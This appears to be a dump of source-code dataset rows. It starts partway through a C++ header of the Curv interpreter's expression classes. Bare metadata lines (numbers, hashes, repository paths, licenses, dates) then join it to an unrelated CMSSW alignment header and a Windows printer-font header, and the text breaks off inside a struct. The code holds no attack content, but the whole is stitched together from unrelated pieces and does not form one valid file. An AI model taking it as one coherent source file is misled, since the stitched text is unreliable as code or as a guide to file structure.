provides a default // for `is_expr_` and the `exec` virtual function. // // An expression is an Operation that can be evaluated to produce a single // value. The work is done by the `eval` method, which must be defined. // All expressions are also value generators that produce a single value, // so the `exec` function calls `eval`. // // This is not an interface class, and not all expression objects are derived // from Just_Expression. Functions should not take Just_Expressions as values // or return Just_Expressions as results: use Operation instead. struct Just_Expression : public Operation { Just_Expression(Shared<const Phrase> syntax) : Operation(std::move(syntax), true) {} // These functions are called during evaluation. virtual Value eval(Frame&) const override = 0; virtual void exec(Frame&, Executor&) const override; }; // `Just_Action` is an implementation class, inherited by Operation // classes whose instances are always actions. It provides a default // for `is_expr_` and the `eval` virtual function. struct Just_Action : public Operation { Just_Action(Shared<const Phrase> syntax) : Operation(std::move(syntax), false) {} // These functions are called during evaluation. //virtual Value eval(Frame&) const override; virtual void exec(Frame&, Executor&) const override = 0; }; /// A Constant is an Expression whose value is known at compile time. struct Constant : public Just_Expression { Value value_; Constant(Shared<const Phrase> syntax, Value v) : Just_Expression(std::move(syntax)), value_(std::move(v)) { // Constant expressions are pure. The tricky case is // Reactive_Expression values, which encapsulate an unevaluated // expression, which is required to be pure. pure_ = true; } virtual Value eval(Frame&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; virtual size_t hash() const noexcept override; virtual bool hash_eq(const Operation&) const noexcept override; virtual void print_repr(std::ostream&, Prec) const override; }; struct Null_Action : public Just_Action { using Just_Action::Just_Action; virtual void exec(Frame&, Executor&) const override; virtual void sc_exec(SC_Frame&) const override; }; // Nonlocal variable reference: in a recursively bound named function. struct Symbolic_Ref : public Just_Expression { Symbol_Ref name_; Symbolic_Ref(Shared<const Identifier> id) : Just_Expression(id), name_(id->symbol_) {} virtual Value eval(Frame&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; }; // Variable reference: module member, in init code for a module literal. struct Module_Data_Ref : public Just_Expression { slot_t slot_; slot_t index_; Module_Data_Ref(Shared<const Phrase> syntax, slot_t slot, slot_t index) : Just_Expression(std::move(syntax)), slot_(slot), index_(index) {} virtual Value eval(Frame&) const override; }; // Nonlocal variable reference: in an anonymous or sequentially bound lambda. struct Nonlocal_Data_Ref : public Just_Expression { slot_t slot_; Nonlocal_Data_Ref(Shared<const Phrase> syntax, slot_t slot) : Just_Expression(std::move(syntax)), slot_(slot) {} virtual Value eval(Frame&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; }; // Metadata concerning a variable. The information is updated in phases. // 0. The object is created when a variable is added to a Scope object, // and it is initialized to default values. // 1. During analysis, if an assignment statement (:=) is used to mutate the // variable, then is_mutable is set to true. // 2. During IR tree generation, when the variable definition is processed, // if the variable has an initialization expression (an IR_Expr), then it // is stored in ir_init_value_. struct Scoped_Variable : public Shared_Base { bool is_mutable_ = false; // Shared<const IR_Expr> ir_init_value_ = nullptr; }; // Local variable reference: function parameter, let/where/local/for variable. struct Local_Data_Ref : public Just_Expression { slot_t slot_; Shared<const Scoped_Variable> variable_; Local_Data_Ref(Shared<const Phrase> syntax, slot_t slot, Shared<const Scoped_Variable> var) : Just_Expression(std::move(syntax)), slot_(slot), variable_(var) { } virtual Value eval(Frame&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; virtual size_t hash() const noexcept override; virtual bool hash_eq(const Operation&) const noexcept override; }; struct Call_Expr : public Just_Expression { Shared<Operation> func_; Shared<Operation> arg_; Call_Expr( Shared<const Phrase> syntax, Shared<Operation> func, Shared<Operation> arg) : Just_Expression(std::move(syntax)), func_(std::move(func)), arg_(std::move(arg)) { pure_ = (func_->pure_ && arg_->pure_); } virtual Value eval(Frame&) const override; virtual void tail_eval(std::unique_ptr<Frame>&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; virtual size_t hash() const noexcept override; virtual bool hash_eq(const Operation&) const noexcept override; virtual void print_repr(std::ostream&, Prec) const override; }; struct Prefix_Expr_Base : public Just_Expression { Shared<Operation> arg_; Prefix_Expr_Base( Shared<const Phrase> syntax, Shared<Operation> arg) : Just_Expression(syntax), arg_(std::move(arg)) { pure_ = arg_->pure_; } virtual size_t hash() const noexcept override; virtual bool hash_eq(const Operation&) const noexcept override; }; struct Spread_Op : public Just_Action { Shared<Operation> arg_; Spread_Op( Shared<const Phrase> syntax, Shared<Operation> arg) : Just_Action(syntax), arg_(std::move(arg)) {} virtual void exec(Frame&, Executor&) const override; }; struct Infix_Expr_Base : public Just_Expression { Shared<Operation> arg1_; Shared<Operation> arg2_; Infix_Expr_Base( Shared<const Phrase> syntax, Shared<Operation> arg1, Shared<Operation> arg2) : Just_Expression(syntax), arg1_(std::move(arg1)), arg2_(std::move(arg2)) { pure_ = (arg1_->pure_ && arg2_->pure_); } }; struct Predicate_Assertion_Expr : public Infix_Expr_Base { Predicate_Assertion_Expr( Shared<const Phrase> syntax, Shared<Operation> arg1, Shared<Operation> arg2) : Infix_Expr_Base(std::move(syntax),std::move(arg1),std::move(arg2)) {} virtual Value eval(Frame&) const override; //virtual SC_Value sc_eval(SC_Frame&) const override; }; struct Or_Expr : public Infix_Expr_Base { using Infix_Expr_Base::Infix_Expr_Base; virtual Value eval(Frame&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; virtual void print_repr(std::ostream& out, Prec) const override; }; struct And_Expr : public Infix_Expr_Base { using Infix_Expr_Base::Infix_Expr_Base; virtual Value eval(Frame&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; virtual void print_repr(std::ostream& out, Prec) const override; }; struct Equal_Expr : public Infix_Expr_Base { using Infix_Expr_Base::Infix_Expr_Base; virtual Value eval(Frame&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; virtual void print_repr(std::ostream& out, Prec) const override; }; struct Not_Equal_Expr : public Infix_Expr_Base { using Infix_Expr_Base::Infix_Expr_Base; virtual Value eval(Frame&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; virtual void print_repr(std::ostream& out, Prec) const override; }; struct Index_Expr : public Infix_Expr_Base { using Infix_Expr_Base::Infix_Expr_Base; virtual Value eval(Frame&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; virtual void print_repr(std::ostream& out, Prec) const override; }; struct Slice_Expr : public Infix_Expr_Base { using Infix_Expr_Base::Infix_Expr_Base; virtual Value eval(Frame&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; virtual void print_repr(std::ostream& out, Prec) const override; }; struct Range_Expr : public Just_Expression { Shared<Operation> arg1_; Shared<Operation> arg2_; Shared<Operation> arg3_; bool half_open_; Range_Expr( Shared<const Phrase> syntax, Shared<Operation> arg1, Shared<Operation> arg2, Shared<Operation> arg3, bool half_open) : Just_Expression(syntax), arg1_(std::move(arg1)), arg2_(std::move(arg2)), arg3_(std::move(arg3)), half_open_(half_open) {} virtual Value eval(Frame&) const override; }; struct List_Expr_Base : public Just_Expression { List_Expr_Base(Shared<const Phrase> syntax) : Just_Expression(std::move(syntax)) {} void init(); // call after construction & initialization of array elements virtual Value eval(Frame&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; virtual size_t hash() const noexcept override; virtual bool hash_eq(const Operation&) const noexcept override; virtual void print_repr(std::ostream&, Prec) const override; TAIL_ARRAY_MEMBERS(Shared<Operation>) }; struct List_Expr : public Tail_Array<List_Expr_Base> { using Tail_Array<List_Expr_Base>::Tail_Array; }; struct Paren_List_Expr_Base : public List_Expr_Base { using List_Expr_Base::List_Expr_Base; virtual void exec(Frame&, Executor&) const override; }; struct Paren_List_Expr : public Tail_Array<Paren_List_Expr_Base> { using Tail_Array<Paren_List_Expr_Base>::Tail_Array; }; // Used by the SubCurv compiler, which treats List_Expr and Paren_List_Expr // identically. TODO: remove when (a,b,c) is no longer an expression. inline Shared<const List_Expr> cast_list_expr(const Operation& op) { if (auto le = dynamic_cast<const List_Expr*>(&op)) return share(*le); if (auto ple = dynamic_cast<const Paren_List_Expr*>(&op)) return share(*(const List_Expr*)ple); return nullptr; } struct Record_Expr : public Just_Expression { Shared<const Operation> fields_; Record_Expr(Shared<const Phrase> syntax, Shared<const Operation> fields) : Just_Expression(syntax), fields_(fields) {} virtual Value eval(Frame&) const override; }; /// The definitions and actions in a module or block compile into this. struct Scope_Executable { // For a module constructor, location in the evaluation frame where the // module is stored. For a block, (slot_t)(-1). slot_t module_slot_ = -1; // For a module constructor, the field dictionary. // For a block, nullptr. Shared<Module::Dictionary> module_dictionary_ = nullptr; // actions to execute at runtime: action statements and slot initialization std::vector<Shared<const Operation>> actions_ = {}; Scope_Executable() {} /// Initialize the module slot, execute the definitions and action list. /// Return the module. Shared<Module> eval_module(Frame&) const; void exec(Frame&) const; void sc_exec(SC_Frame&) const; }; struct Module_Expr : public Just_Expression { using Just_Expression::Just_Expression; virtual Value eval(Frame&) const override; virtual Shared<Module> eval_module(Frame&) const = 0; }; struct Const_Module_Expr final : public Module_Expr { Shared<Module> value_; Const_Module_Expr( Shared<const Phrase> syntax, Shared<Module> value) : Module_Expr(syntax), value_(value) {} virtual Shared<Module> eval_module(Frame&) const override { return value_; } }; struct Enum_Module_Expr final : public Module_Expr { Shared<Module::Dictionary> dictionary_; std::vector<Shared<Operation>> exprs_; Enum_Module_Expr( Shared<const Phrase> syntax, Shared<Module::Dictionary> dictionary, std::vector<Shared<Operation>> exprs) : Module_Expr(syntax), dictionary_(dictionary), exprs_(exprs) {} virtual Shared<Module> eval_module(Frame&) const override; }; struct Scoped_Module_Expr : public Module_Expr { Scope_Executable executable_; Scoped_Module_Expr( Shared<const Phrase> syntax, Scope_Executable executable) : Module_Expr(syntax), executable_(std::move(executable)) {} virtual Shared<Module> eval_module(Frame&) const override; }; // An internal action for initializing the slots of a data definition // in the evaluation frame. Part of the actions_ list in a Scope_Executable. struct Data_Setter : public Just_Action { slot_t module_slot_; // copied from enclosing Scope_Executable Shared<Pattern> pattern_; Shared<Operation> definiens_; Data_Setter( Shared<const Phrase> syntax, slot_t module_slot, Shared<Pattern> pattern, Shared<Operation> definiens) : Just_Action(std::move(syntax)), module_slot_(module_slot), pattern_(std::move(pattern)), definiens_(std::move(definiens)) {} virtual void exec(Frame&, Executor&) const override; virtual void sc_exec(SC_Frame&) const override; }; // An internal action for initializing the slots in the evaluation frame for // a single non-recursive closure, or a group of mutually recursive closures. // The closures share a single `nonlocals` object. // Part of the actions_ list in a Scope_Executable for a Recursive_Scope. struct Function_Setter_Base : public Just_Action { // a copy of module_slot_ from the enclosing Scope_Executable. slot_t module_slot_; // construct the shared nonlocals object at runtime. Shared<Enum_Module_Expr> nonlocals_; Function_Setter_Base( Shared<const Phrase> syntax, slot_t module_slot, Shared<Enum_Module_Expr> nonlocals) : Just_Action(std::move(syntax)), module_slot_(module_slot), nonlocals_(std::move(nonlocals)) {} virtual void exec(Frame&, Executor&) const override; struct Element { slot_t slot_; Shared<Lambda> lambda_; Element(slot_t s, Shared<Lambda> l); Element() noexcept; }; TAIL_ARRAY_MEMBERS(Element) }; struct Function_Setter : public Tail_Array<Function_Setter_Base> { using Tail_Array<Function_Setter_Base>::Tail_Array; }; struct Include_Setter_Base : public Just_Action { slot_t module_slot_ = (slot_t)(-1); using Just_Action::Just_Action; virtual void exec(Frame&, Executor&) const override; struct Element { slot_t slot_; Value value_; Element(slot_t s, Value v) : slot_(s), value_(v) {} Element() noexcept {} }; TAIL_ARRAY_MEMBERS(Element) }; struct Include_Setter : public Tail_Array<Include_Setter_Base> { using Tail_Array<Include_Setter_Base>::Tail_Array; }; struct Compound_Op_Base : public Just_Action { Compound_Op_Base(Shared<const Phrase> syntax) : Just_Action(std::move(syntax)) {} virtual void exec(Frame&, Executor&) const override; virtual void sc_exec(SC_Frame&) const override; TAIL_ARRAY_MEMBERS(Shared<Operation>) }; struct Compound_Op : public Tail_Array<Compound_Op_Base> { using Tail_Array<Compound_Op_Base>::Tail_Array; }; // Execute a statement list, then evaluate the body, which is an expression. struct Do_Expr : public Just_Expression { Shared<const Operation> actions_; Shared<const Operation> body_; Do_Expr( Shared<const Phrase> syntax, Shared<const Operation> a, Shared<const Operation> body) : Just_Expression(std::move(syntax)), actions_(std::move(a)), body_(std::move(body)) {} virtual Value eval(Frame&) const override; virtual void tail_eval(std::unique_ptr<Frame>&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; }; struct Block_Op : public Operation { Scope_Executable statements_; Shared<const Operation> body_; Block_Op( Shared<const Phrase> syntax, Scope_Executable b, Shared<const Operation> body) : Operation(std::move(syntax), body->is_expr_), statements_(std::move(b)), body_(std::move(body)) {} virtual Value eval(Frame&) const override; virtual void tail_eval(std::unique_ptr<Frame>&) const override; virtual void exec(Frame&, Executor&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; virtual void sc_exec(SC_Frame&) const override; }; struct For_Op : public Just_Action { Shared<const Pattern> pattern_; Shared<const Operation> list_; Shared<const Operation> cond_; Shared<const Operation> body_; For_Op( Shared<const Phrase> syntax, Shared<const Pattern> pattern, Shared<const Operation> list, Shared<const Operation> cond, Shared<const Operation> body) : Just_Action(std::move(syntax)), pattern_(std::move(pattern)), list_(std::move(list)), cond_(std::move(cond)), body_(std::move(body)) {} virtual void exec(Frame&, Executor&) const override; virtual void sc_exec(SC_Frame&) const override; }; struct While_Op : public Just_Action { Shared<const Operation> cond_; Shared<const Operation> body_; While_Op( Shared<const Phrase> syntax, Shared<const Operation> cond, Shared<const Operation> body) : Just_Action(std::move(syntax)), cond_(std::move(cond)), body_(std::move(body)) {} virtual void exec(Frame&, Executor&) const override; virtual void sc_exec(SC_Frame&) const override; }; struct If_Op : public Just_Action { Shared<Operation> arg1_; Shared<Operation> arg2_; If_Op( Shared<const Phrase> syntax, Shared<Operation> arg1, Shared<Operation> arg2) : Just_Action(syntax), arg1_(std::move(arg1)), arg2_(std::move(arg2)) {} virtual Value eval(Frame&) const override; // error message: missing else virtual void exec(Frame&, Executor&) const override; virtual void sc_exec(SC_Frame&) const override; }; struct If_Else_Op : public Operation { Shared<Operation> arg1_; Shared<Operation> arg2_; Shared<Operation> arg3_; If_Else_Op( Shared<const Phrase> syntax, Shared<Operation> arg1, Shared<Operation> arg2, Shared<Operation> arg3) : Operation(syntax, arg2->is_expr_ && arg3->is_expr_), arg1_(std::move(arg1)), arg2_(std::move(arg2)), arg3_(std::move(arg3)) { pure_ = (arg1_->pure_ && arg2_->pure_ && arg3_->pure_); } virtual Value eval(Frame&) const override; virtual void tail_eval(std::unique_ptr<Frame>&) const override; virtual void exec(Frame&, Executor&) const override; virtual SC_Value sc_eval(SC_Frame&) const override; virtual void sc_exec(SC_Frame&) const override; virtual size_t hash() const noexcept override; virtual bool hash_eq(const Operation&) const noexcept override; virtual void print_repr(std::ostream&, Prec) const override; }; struct Lambda_Expr : public Just_Expression { Shared<const Pattern> pattern_; Shared<Operation> body_; Shared<Module_Expr> nonlocals_; slot_t nslots_; Symbol_Ref name_{}; // may be set by Function_Definition::analyse int argpos_ = 0; // may be set by Function_Definition::analyse Lambda_Expr( Shared<const Phrase> syntax, Shared<const Pattern> pattern, Shared<Operation> body, Shared<Module_Expr> nonlocals, slot_t nslots) : Just_Expression(syntax), pattern_(std::move(pattern)), body_(std::move(body)), nonlocals_(std::move(nonlocals)), nslots_(nslots) {} virtual Value eval(Frame&) const override; }; struct Segment : public Shared_Base { Shared<const Segment_Phrase> syntax_; Segment(Shared<const Segment_Phrase> syntax) : syntax_(std::move(syntax)) {} virtual void generate(Frame&, String_Builder&) const = 0; }; struct Literal_Segment : public Segment { Shared<const String> data_; Literal_Segment(Shared<const Segment_Phrase> syntax, Shared<const String> data) : Segment(std::move(syntax)), data_(std::move(data)) {} virtual void generate(Frame&, String_Builder&) const; }; struct Ident_Segment : public Segment { Shared<Operation> expr_; Ident_Segment(Shared<const Segment_Phrase> syntax, Shared<Operation> expr) : Segment(std::move(syntax)), expr_(std::move(expr)) {} virtual void generate(Frame&, String_Builder&) const; }; struct Paren_Segment : public Segment { Shared<Operation> expr_; Paren_Segment(Shared<const Segment_Phrase> syntax, Shared<Operation> expr) : Segment(std::move(syntax)), expr_(std::move(expr)) {} virtual void generate(Frame&, String_Builder&) const; }; struct Bracket_Segment : public Segment { Shared<Operation> expr_; Bracket_Segment(Shared<const Segment_Phrase> syntax, Shared<Operation> expr) : Segment(std::move(syntax)), expr_(std::move(expr)) {} virtual void generate(Frame&, String_Builder&) const; }; struct Brace_Segment : public Segment { Shared<Operation> expr_; Brace_Segment(Shared<const Segment_Phrase> syntax, Shared<Operation> expr) : Segment(std::move(syntax)), expr_(std::move(expr)) {} virtual void generate(Frame&, String_Builder&) const; }; struct String_Expr_Base : public Just_Expression { String_Expr_Base(Shared<const Phrase> syntax) : Just_Expression(std::move(syntax)) {} virtual Value eval(Frame&) const override; Symbol_Ref eval_symbol(Frame&) const; TAIL_ARRAY_MEMBERS(Shared<Segment>) }; struct String_Expr : public Tail_Array<String_Expr_Base> { using Tail_Array<String_Expr_Base>::Tail_Array; }; struct Symbol_Expr { Shared<const Identifier> id_ = nullptr; Shared<const Operation> expr_ = nullptr; Symbol_Expr(Shared<const Identifier> id) : id_(id) {} Symbol_Expr(Shared<String_Expr> str) : expr_(str) {} Symbol_Expr(Shared<const Operation> expr) : expr_(expr) {} Symbol_Expr(Shared<Operation> expr) : expr_(expr) {} Shared<const Phrase> syntax() { if (id_) return id_; else return expr_->syntax_; } Symbol_Ref eval(Frame&) const; }; struct Dot_Expr : public Just_Expression { Shared<Operation> base_; Symbol_Expr selector_; Dot_Expr( Shared<const Phrase> syntax, Shared<Operation> base, Symbol_Expr selector) : Just_Expression(std::move(syntax)), base_(std::move(base)), selector_(std::move(selector)) {} virtual Value eval(Frame&) const override; }; struct Assoc : public Just_Expression { Symbol_Expr name_; Shared<const Operation> definiens_; Assoc( Shared<const Phrase> syntax, Symbol_Expr name, Shared<const Operation> definiens) : Just_Expression(std::move(syntax)), name_(std::move(name)), definiens_(std::move(definiens)) {} virtual void exec(Frame&, Executor&) const override; virtual Value eval(Frame&) const override; }; struct Parametric_Expr : public Just_Expression { Shared<Lambda_Expr> ctor_; Parametric_Expr( Shared<const Phrase> syntax, Shared<Lambda_Expr> ctor) : Just_Expression(std::move(syntax)), ctor_(std::move(ctor)) {} virtual Value eval(Frame&) const override; }; // A Locative representing a boxed local variable. // Closely related to Local_Data_Ref. struct Local_Locative : public Locative { Local_Locative(Shared<const Phrase> syntax, slot_t slot) : Locative(std::move(syntax)), slot_(slot) {} slot_t slot_; virtual Value fetch(Frame&) const override; virtual void store(Frame&, Value, const At_Syntax&) const override; virtual SC_Type sc_print(SC_Frame&) const override; }; struct Indexed_Locative : public Locative { Indexed_Locative( Shared<const Phrase> syntax, Unique<const Locative> b, Shared<const Operation> i) : Locative(std::move(syntax)), base_(std::move(b)), index_(std::move(i)) {} Unique<const Locative> base_; Shared<const Operation> index_; virtual Value fetch(Frame&) const override; virtual void store(Frame&, Value, const At_Syntax&) const override; virtual SC_Type sc_print(SC_Frame&) const override; }; struct List_Locative : public Locative { List_Locative( Shared<const Phrase> syntax, std::vector<Unique<const Locative>> locs) : Locative(std::move(syntax)), locs_(std::move(locs)) {} std::vector<Unique<const Locative>> locs_; virtual Value fetch(Frame&) const override; virtual void store(Frame&, Value, const At_Syntax&) const override; }; // 'locative := expression' struct Assignment_Action : public Just_Action { Unique<const Locative> locative_; Shared<const Operation> expr_; Assignment_Action( Shared<const Phrase> syntax, Unique<const Locative> locative, Shared<const Operation> expr) : Just_Action(std::move(syntax)), locative_(std::move(locative)), expr_(std::move(expr)) {} virtual void exec(Frame&, Executor&) const override; void sc_exec(SC_Frame&) const override; }; // 'locative ! function' means 'locative := function locative' struct Mutate_Action : public Just_Action { struct XForm { // A call_phrase of the form `loc!f1!f2!...!fn`. Shared<const Phrase> call_phrase_; // The expression form of the 'fn' phrase from above. Shared<const Operation> func_expr_; }; Unique<const Locative> locative_; std::vector<XForm> transformers_; // in the order f1, f2, ... Mutate_Action( Shared<const Phrase> syn, Unique<const Locative> loc, std::vector<XForm> tx) : Just_Action(std::move(syn)), locative_(std::move(loc)), transformers_(std::move(tx)) {} void exec(Frame&, Executor&) const override; }; struct TPath_Expr : public Just_Expression { std::vector<Shared<const Operation>> indexes_; TPath_Expr( Shared<const Phrase> syntax, std::vector<Shared<const Operation>> indexes) : Just_Expression(std::move(syntax)), indexes_(std::move(indexes)) {} virtual Value eval(Frame&) const override; }; struct TSlice_Expr : public Just_Expression { Shared<const Operation> indexes_; // evaluates to a List TSlice_Expr( Shared<const Phrase> syntax, Shared<const Operation> indexes) : Just_Expression(std::move(syntax)), indexes_(std::move(indexes)) {} virtual Value eval(Frame&) const override; }; } // namespace curv #endif // header guard
29.533881
83
0.689043
fd0ba3aa89e698a2711de7d09588759c7b2fe036
1,952
h
C
Alignment/CommonAlignment/interface/AlignableObjectId.h
nistefan/cmssw
ea13af97f7f2117a4f590a5e654e06ecd9825a5b
[ "Apache-2.0" ]
3
2018-08-24T19:10:26.000Z
2019-02-19T11:45:32.000Z
Alignment/CommonAlignment/interface/AlignableObjectId.h
nistefan/cmssw
ea13af97f7f2117a4f590a5e654e06ecd9825a5b
[ "Apache-2.0" ]
3
2018-08-23T13:40:24.000Z
2019-12-05T21:16:03.000Z
Alignment/CommonAlignment/interface/AlignableObjectId.h
nistefan/cmssw
ea13af97f7f2117a4f590a5e654e06ecd9825a5b
[ "Apache-2.0" ]
5
2018-08-21T16:37:52.000Z
2020-01-09T13:33:17.000Z
#ifndef Alignment_CommonAlignment_AlignableObjectId_h #define Alignment_CommonAlignment_AlignableObjectId_h #include <string> #include "Alignment/CommonAlignment/interface/StructureType.h" class TrackerGeometry; class DTGeometry; class CSCGeometry; class AlignableTracker; class AlignableMuon; /// Allows conversion between type and name, and vice-versa class AlignableObjectId { public: struct entry; enum class Geometry { RunI, PhaseI, PhaseII, General, Unspecified }; AlignableObjectId(Geometry); AlignableObjectId(const TrackerGeometry*, const DTGeometry*, const CSCGeometry*); AlignableObjectId(const AlignableObjectId&) = default; AlignableObjectId& operator=(const AlignableObjectId&) = default; AlignableObjectId(AlignableObjectId&&) = default; AlignableObjectId& operator=(AlignableObjectId&&) = default; virtual ~AlignableObjectId() = default; /// retrieve the geometry information Geometry geometry() const { return geometry_; } /// Convert name to type align::StructureType nameToType(const std::string& name) const; /// Convert type to name std::string typeToName( align::StructureType type ) const; const char *idToString(align::StructureType type) const; align::StructureType stringToId(const char*) const; align::StructureType stringToId(const std::string& s) const { return stringToId(s.c_str()); } static Geometry commonGeometry(Geometry, Geometry); static AlignableObjectId commonObjectIdProvider(const AlignableObjectId&, const AlignableObjectId&); static AlignableObjectId commonObjectIdProvider(const AlignableTracker*, const AlignableMuon*); private: static Geometry trackerGeometry(const TrackerGeometry*); static Geometry muonGeometry(const DTGeometry*, const CSCGeometry*); const entry* entries_{nullptr}; Geometry geometry_{Geometry::Unspecified}; }; #endif
33.655172
83
0.748463
11497bd28d5a9b1f428df7fdacb6836870f19324
6,943
h
C
msys64/mingw64/x86_64-w64-mingw32/include/prntfont.h
Bhuvanesh1208/ruby2.6.1
17642e3f37233f6d0e0523af68d7600a91ece1c7
[ "Ruby" ]
12,718
2018-05-25T02:00:44.000Z
2022-03-31T23:03:51.000Z
msys64/mingw64/x86_64-w64-mingw32/include/prntfont.h
Bhuvanesh1208/ruby2.6.1
17642e3f37233f6d0e0523af68d7600a91ece1c7
[ "Ruby" ]
8,483
2018-05-23T16:22:39.000Z
2022-03-31T22:18:16.000Z
msys64/mingw64/x86_64-w64-mingw32/include/prntfont.h
Bhuvanesh1208/ruby2.6.1
17642e3f37233f6d0e0523af68d7600a91ece1c7
[ "Ruby" ]
1,400
2018-05-24T22:35:25.000Z
2022-03-31T21:32:48.000Z
/* * prntfont.h * * Declarations for Windows NT printer driver font metrics * * This file is part of the w32api package. * * Contributors: * Created by Filip Navara <xnavara@volny.cz> * * THIS SOFTWARE IS NOT COPYRIGHTED * * This source code is offered for use in the public domain. You may * use, modify or distribute it freely. * * This code is distributed in the hope that it will be useful but * WITHOUT ANY WARRANTY. ALL WARRANTIES, EXPRESS OR IMPLIED ARE HEREBY * DISCLAIMED. This includes but is not limited to warranties of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * */ #ifndef __PRNTFONT_H #define __PRNTFONT_H #define UNIFM_VERSION_1_0 0x10000 #define UNI_GLYPHSETDATA_VERSION_1_0 0x10000 #define UFM_SOFT 1 #define UFM_CART 2 #define UFM_SCALABLE 4 #define DF_TYPE_HPINTELLIFONT 0 #define DF_TYPE_TRUETYPE 1 #define DF_TYPE_PST1 2 #define DF_TYPE_CAPSL 3 #define DF_TYPE_OEM1 4 #define DF_TYPE_OEM2 5 #define DF_NOITALIC 1 #define DF_NOUNDER 2 #define DF_XM_CR 4 #define DF_NO_BOLD 8 #define DF_NO_DOUBLE_UNDERLINE 16 #define DF_NO_STRIKETHRU 32 #define DF_BKSP_OK 64 #define MTYPE_COMPOSE 1 #define MTYPE_DIRECT 2 #define MTYPE_PAIRED 4 #define MTYPE_FORMAT_MASK 7 #define MTYPE_SINGLE 8 #define MTYPE_DOUBLE 16 #define MTYPE_DOUBLEBYTECHAR_MASK 24 #define MTYPE_REPLACE 32 #define MTYPE_ADD 64 #define MTYPE_DISABLE 128 #define MTYPE_PREDEFIN_MASK 192 #define CC_NOPRECNV 0x0000FFFF #define CC_DEFAULT 0 #define CC_CP437 -1 #define CC_CP850 -2 #define CC_CP863 -3 #define CC_BIG5 -10 #define CC_ISC -11 #define CC_JIS -12 #define CC_JIS_ANK -13 #define CC_NS86 -14 #define CC_TCA -15 #define CC_GB2312 -16 #define CC_SJIS -17 #define CC_WANSUNG -18 #define UFF_FILE_MAGIC 'UFF1' #define UFF_VERSION_NUMBER 0x10001 #define FONT_DIR_SORTED 1 #define FONT_REC_SIG 'CERF' #define WINNT_INSTALLER_SIG 'IFTN' #define FONT_FL_UFM 0x0001 #define FONT_FL_IFI 0x0002 #define FONT_FL_SOFTFONT 0x0004 #define FONT_FL_PERMANENT_SF 0x0008 #define FONT_FL_DEVICEFONT 0x0010 #define FONT_FL_GLYPHSET_GTT 0x0020 #define FONT_FL_GLYPHSET_RLE 0x0040 #define FONT_FL_RESERVED 0x8000 #define DATA_UFM_SIG 'MFUD' #define DATA_IFI_SIG 'IFID' #define DATA_GTT_SIG 'TTGD' #define DATA_CTT_SIG 'TTCD' #define DATA_VAR_SIG 'RAVD' #define FG_CANCHANGE 128 #define WM_FI_FILENAME 900 #define GET_UNIDRVINFO(pUFM) ((PUNIDRVINFO)((ULONG_PTR)(pUFM) + (pUFM)->loUnidrvInfo)) #define GET_IFIMETRICS(pUFM) ((IFIMETRICS*)((ULONG_PTR)(pUFM) + (pUFM)->loIFIMetrics)) #define GET_EXTTEXTMETRIC(pUFM) ((EXTTEXTMETRIC*)((ULONG_PTR)(pUFM) + (pUFM)->loExtTextMetric)) #define GET_WIDTHTABLE(pUFM) ((PWIDTHTABLE)((ULONG_PTR)(pUFM) + (pUFM)->loWidthTable)) #define GET_KERNDATA(pUFM) ((PKERNDATA)((ULONG_PTR)(pUFM) + (pUFM)->loKernPair)) #define GET_SELECT_CMD(pUni) ((PCHAR)(pUni) + (pUni)->SelectFont.loOffset) #define GET_UNSELECT_CMD(pUni) ((PCHAR)(pUni) + (pUni)->UnSelectFont.loOffset) #define GET_GLYPHRUN(pGTT) ((PGLYPHRUN)((ULONG_PTR)(pGTT) + ((PUNI_GLYPHSETDATA)pGTT)->loRunOffset)) #define GET_CODEPAGEINFO(pGTT) ((PUNI_CODEPAGEINFO)((ULONG_PTR)(pGTT) + ((PUNI_GLYPHSETDATA)pGTT)->loCodePageOffset)) #define GET_MAPTABLE(pGTT) ((PMAPTABLE)((ULONG_PTR)(pGTT) + ((PUNI_GLYPHSETDATA)pGTT)->loMapTableOffset)) typedef struct _UNIFM_HDR { DWORD dwSize; DWORD dwVersion; ULONG ulDefaultCodepage; LONG lGlyphSetDataRCID; DWORD loUnidrvInfo; DWORD loIFIMetrics; DWORD loExtTextMetric; DWORD loWidthTable; DWORD loKernPair; DWORD dwReserved[2]; } UNIFM_HDR, *PUNIFM_HDR; typedef struct _INVOC { DWORD dwCount; DWORD loOffset; } INVOC, *PINVOC; typedef struct _UNIDRVINFO { DWORD dwSize; DWORD flGenFlags; WORD wType; WORD fCaps; WORD wXRes; WORD wYRes; SHORT sYAdjust; SHORT sYMoved; WORD wPrivateData; SHORT sShift; INVOC SelectFont; INVOC UnSelectFont; WORD wReserved[4]; } UNIDRVINFO, *PUNIDRVINFO; typedef struct _EXTTEXTMETRIC { SHORT emSize; SHORT emPointSize; SHORT emOrientation; SHORT emMasterHeight; SHORT emMinScale; SHORT emMaxScale; SHORT emMasterUnits; SHORT emCapHeight; SHORT emXHeight; SHORT emLowerCaseAscent; SHORT emLowerCaseDescent; SHORT emSlant; SHORT emSuperScript; SHORT emSubScript; SHORT emSuperScriptSize; SHORT emSubScriptSize; SHORT emUnderlineOffset; SHORT emUnderlineWidth; SHORT emDoubleUpperUnderlineOffset; SHORT emDoubleLowerUnderlineOffset; SHORT emDoubleUpperUnderlineWidth; SHORT emDoubleLowerUnderlineWidth; SHORT emStrikeOutOffset; SHORT emStrikeOutWidth; WORD emKernPairs; WORD emKernTracks; } EXTTEXTMETRIC, *PEXTTEXTMETRIC; typedef struct _WIDTHRUN { WORD wStartGlyph; WORD wGlyphCount; DWORD loCharWidthOffset; } WIDTHRUN, *PWIDTHRUN; typedef struct _WIDTHTABLE { DWORD dwSize; DWORD dwRunNum; WIDTHRUN WidthRun[1]; } WIDTHTABLE, *PWIDTHTABLE; typedef struct _KERNDATA { DWORD dwSize; DWORD dwKernPairNum; FD_KERNINGPAIR KernPair[1]; } KERNDATA, *PKERNDATA; typedef struct _UNI_GLYPHSETDATA { DWORD 